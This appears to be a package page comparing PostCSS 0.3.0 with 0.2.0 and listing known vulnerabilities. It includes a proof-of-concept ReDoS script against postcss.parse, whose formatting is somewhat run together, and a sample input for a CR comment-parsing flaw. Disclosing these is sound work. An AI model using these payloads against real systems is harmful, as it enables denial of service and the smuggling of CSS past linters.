PostCSS version 0.3.0 represents a notable evolution of the CSS postprocessing framework compared to its predecessor, version 0.2.0. A key difference lies in the refined dependency management. Version 0.3.0 introduces specific version constraints for its dependencies like "base64-js" (version 0.0.6) and "source-map" (~0.1.31), ensuring better stability and predictable behavior. In contrast, version 0.2.0 used a wildcard for "source-map," potentially leading to conflicts with newer, incompatible versions. The newer version also incorporates a more extensive suite of development dependencies, including "cssom" (0.3.0), "rework" (0.20.2), and "gonzales" (1.0.7), alongside updates to existing tools like "mocha" (1.17.1) and "should" (3.1.2). These indicate a focus on robust testing and feature enhancements.
For developers, this translates to a more reliable and feature-rich environment with v0.3.0. The explicit dependency versions prevent unexpected breaking changes, while the expanded set of development tools suggests a greater commitment to code quality and a wider range of functionalities within PostCSS. The older v0.2.0 offers a lighter package with fewer dependencies but might suffer from compatibility issues over time due to the lack of specified dependency versions. Both versions share the same MIT license and are authored by Andrey Sitnik, ensuring consistent licensing and maintainership.
All the vulnerabilities related to the version 0.3.0 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.